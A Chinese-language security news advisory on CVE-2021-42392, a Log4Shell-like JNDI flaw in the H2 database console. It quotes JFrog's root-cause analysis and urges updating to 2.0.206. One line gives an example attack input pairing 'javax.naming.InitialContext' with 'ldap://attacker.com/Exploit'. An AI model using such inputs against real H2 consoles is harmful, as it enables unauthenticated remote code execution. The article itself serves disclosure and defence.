您所在的位置: 首頁(yè) >
安全研究 >
安全通告 >
警告!與Log4Shell相似的Java漏洞出現(xiàn)了
安全研究人員警告稱,一個(gè)最新的嚴(yán)重的Java錯(cuò)誤,其本質(zhì)與目前在全球范圍內(nèi)利用的臭名昭著的 Log4Shell 漏洞相同 。
CVE-2021-42392 尚未在國(guó)家漏洞數(shù)據(jù)庫(kù) (NVD) 中正式發(fā)布,但據(jù)軟件企業(yè)內(nèi)JFrog 稱,它影響了流行的H2 Java SQL 數(shù)據(jù)庫(kù)的控制臺(tái)。
這家安全公司提醒,任何目前運(yùn)行的暴露于其 LAN 或 WAN 的 H2 控制臺(tái)的組織立即將數(shù)據(jù)庫(kù)更新到 2.0.206 版本,否則攻擊者可能會(huì)利用它進(jìn)行未經(jīng)身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行 (RCE)。
與 Log4Shell 一樣,該錯(cuò)誤與 JNDI(Java 命名和目錄接口)“遠(yuǎn)程類加載”有關(guān)。JNDI 是一種為 Java 應(yīng)用程序提供命名和目錄功能的 API。這意味著如果攻擊者可以將惡意 URL 獲取到 JNDI 查找中,它就可以啟用 RCE。
“簡(jiǎn)而言之,根本原因類似于 Log4Shell——H2 數(shù)據(jù)庫(kù)框架中的多個(gè)代碼路徑將未經(jīng)過濾的攻擊者控制的 URL 傳遞給 javax.naming.Context.lookup 函數(shù),該函數(shù)允許遠(yuǎn)程代碼庫(kù)加載(AKA Java 代碼注入 AKA遠(yuǎn)程代碼執(zhí)行),” JFrog 解釋道。
“具體來(lái)說(shuō),org.h2.util.JdbcUtils.getConnection 方法以驅(qū)動(dòng)類名和數(shù)據(jù)庫(kù) URL 作為參數(shù)。如果驅(qū)動(dòng)程序的類可分配給 javax.naming.Context 類,則該方法會(huì)從中實(shí)例化一個(gè)對(duì)象并調(diào)用其查找方法?!?/span>
提供諸如“javax.naming.InitialContext”之類的驅(qū)動(dòng)程序類和像 ldap://attacker.com/Exploit 這樣簡(jiǎn)單的 URL 將導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
JFrog 表示,該漏洞特別危險(xiǎn),因?yàn)?H2 數(shù)據(jù)庫(kù)包特別受歡迎。該公司聲稱,它是前 50 個(gè)最受歡迎的 Maven 軟件包之一,擁有近 7000 個(gè)工件依賴項(xiàng)。
但是,有一些原因?qū)е吕貌粫?huì)像 Log4Shell 那樣廣泛。一方面,它具有“直接影響范圍”,這意味著易受攻擊的服務(wù)器應(yīng)該更容易找到。其次,在大多數(shù) H2 發(fā)行版中,控制臺(tái)只監(jiān)聽 localhost 連接,這意味著默認(rèn)設(shè)置是不可利用的。
“許多供應(yīng)商可能正在運(yùn)行 H2 數(shù)據(jù)庫(kù),但沒有運(yùn)行 H2 控制臺(tái),雖然除了控制臺(tái)之外還有其他向量可以利用這個(gè)問題,但這些其他向量是依賴于上下文的,不太可能暴露給遠(yuǎn)程攻擊者?!盝Frog 補(bǔ)充道。
來(lái)源:E安全